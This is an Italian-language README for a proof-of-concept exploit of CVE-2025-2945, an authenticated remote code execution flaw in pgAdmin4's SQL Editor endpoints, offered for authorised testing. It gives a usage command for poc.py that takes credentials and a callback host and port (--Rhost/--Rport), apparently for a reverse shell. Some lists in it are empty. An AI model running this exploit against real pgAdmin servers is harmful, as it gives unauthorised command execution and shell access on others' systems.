
Proof-of-concept exploit per l'esecuzione remota di codice autenticata in pgAdmin4 (CVE-2025-2945) tramite abuso dell'SQL Editor. Progettato per test di sicurezza autorizzati e scopi educativi.
Questo repository contiene uno script proof-of-concept creato per la ricerca sulla sicurezza e per test di penetrazione autorizzati riguardanti la vulnerabilità CVE-2025-2945, che colpisce determinate versioni di pgAdmin4.
Il problema consente a un utente pgAdmin autenticato con accesso all'editor SQL di innescare l'esecuzione remota di codice abusando del flusso di inizializzazione del pannello Query Tool. Questo PoC dimostra la vulnerabilità solo a scopo educativo, di audit e difensivo.
Questo strumento è destinato SOLO a:
Non utilizzare questo strumento su alcun sistema senza esplicita autorizzazione. L'uso non autorizzato è illegale e non etico. L'autore non è responsabile dell'uso improprio.
La vulnerabilità deriva da difetti logici negli endpoint di inizializzazione dell'editor SQL. Quando si interagisce con /sqleditor/initialize/ e /sqleditor/panel/, l'applicazione gestisce in modo errato i dati controllati dall'utente, consentendo infine a payload appositamente costruiti di eseguire comandi arbitrari sul backend.
Il PoC sfrutta la seguente sequenza di endpoint:
requestspython3 poc.py \
--target-url <pgadmin-url> \
--username <pgadmin-user> \
--password <pgadmin-pass> \
--db-user <db-username> \
--db-pass <db-password> \
--db-name <database> \
--Rhost <your-ip> \
--Rport <your-port>
(Un esempio completo è già fornito nella sezione di help dello script.)
poc.py → The exploit proof-of-concept
README.md → Project documentation
Gli amministratori dovrebbero:
Autore: UdayVeer